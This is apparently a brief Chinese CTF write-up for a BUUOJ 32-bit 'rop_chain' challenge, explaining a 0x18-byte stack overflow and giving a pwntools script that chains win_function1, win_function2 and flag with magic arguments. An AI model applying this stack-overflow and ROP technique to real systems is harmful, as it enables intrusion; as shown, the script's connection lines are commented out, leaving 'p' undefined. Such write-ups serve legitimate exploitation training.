刚看到题目我想直接ROPgadget –binary –ropchain一把梭,但是失败了,只能按部就班了

拖进ida32

vuln()中有个0x18的栈溢出,继续跟进有个flag函数

只需满足==win1 && win2 && a1 == -559039827==就可读flag


首先win1可以通过win1函数赋值为1,只需再满足a1的条件即可
from pwn import *
context.log_level = 'debug'
# startp = remote("node4.buuoj.cn", 26089)
# p = process("./rop_chain")
elf = ELF("./rop_chain")
# params
flag_addr = elf.symbols['flag']
win1_addr = elf.symbols['win_function1']
win2_addr = elf.symbols['win_function2']
win2_a = 0x0BAAAAAAD
flag_a = 0x0DEADBAAD
# attack
payload = b'a'*(0x18+4) + p32(win1_addr) + p32(win2_addr) + p32(flag_addr) + p32(win2_a) + p32(flag_a)
p.sendlineafter("input> ", payload)
p.interactive()
主要是通过函数以及传参来赋值